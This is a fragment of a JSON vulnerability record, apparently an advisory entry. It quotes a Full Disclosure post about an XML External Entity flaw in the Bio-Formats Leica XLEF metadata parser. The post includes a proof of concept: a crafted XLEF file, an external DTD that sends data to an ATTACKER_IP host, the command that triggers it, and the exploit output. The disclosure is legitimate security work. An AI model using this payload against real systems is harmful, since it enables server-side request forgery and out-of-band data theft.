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          "vendor": "unknown",
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          "value": "Bio-Formats contains an XML External Entity (XXE) vulnerability in the\nLeica Microsystems metadata parsing component. The vulnerability is caused\nby the use of an insecurely configured DocumentBuilderFactory when\nprocessing Leica XML-based metadata files (e.g., XLEF). When a crafted XML\nfile is supplied, the parser allows external entity resolution and external\nDTD loading, enabling attackers to trigger arbitrary outbound network\nrequests, access local system resources, or cause a denial-of-service\ncondition during XML parsing.\n\n*Impact:*\nAn attacker who can supply a crafted Leica XML metadata file may:\n* Trigger XML External Entity (XXE) injection\n* Perform server-side request forgery (SSRF) via outbound HTTP requests\n* Access local files where XML-safe content exists\n* Cause denial of service through entity expansion or parser instability\n* Exfiltrate data through blind out-of-band channels\nExploitation occurs during XML parsing and does not require authentication.\n\n*Proof of Concept:*\nMalicious XLEF File\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003c!DOCTYPE xxe [\n  \u003c!ENTITY % ext SYSTEM \"http://ATTACKER_IP:8000/evil.dtd\";\u003e\n  %ext;\n]\u003e\n\u003cxlef\u003e\n  \u003cImage\u003e\u0026exfil;\u003c/Image\u003e\n\u003c/xlef\u003e\nAttacker-Controlled External DTD (evil.dtd)\n\u003c!ENTITY exfil SYSTEM \"http://ATTACKER_IP:8000/exfil?data=ubuntu\";\u003e\n\n*Exploit Execution:*\njava -cp bioformats_package.jar \\\n     loci.formats.tools.ImageInfo xxe_blind.xlef\n\n*Observed Exploit Output:*\nVictim Application Output\nInitializing reader\nXLEFReader initializing xxe_blind.xlef\nhttp://ATTACKER_IP:8000/exfil?data=ubuntu\njava.io.FileNotFoundException: http://ATTACKER_IP:8000/exfil?data=ubuntu\n    at org.apache.xerces.impl.XMLEntityManager.setupCurrentEntity\n    at org.apache.xerces.impl.XMLEntityManager.startEntity\n    at org.apache.xerces.impl.XMLDTDScannerImpl.scanDTDInternalSubset\n    at javax.xml.parsers.DocumentBuilder.parse\n    at LMSXmlDocument.initFromFilepath(LMSXmlDocument.java:125)\nAttacker HTTP Server Log\n192.x.x.x - - [23/Dec/2025 23:28:19]\n\"GET /exfil?data=ubuntu HTTP/1.1\" 404 -\nThe outbound HTTP request confirms that the XML parser resolved\nattacker-controlled external entities during file parsing.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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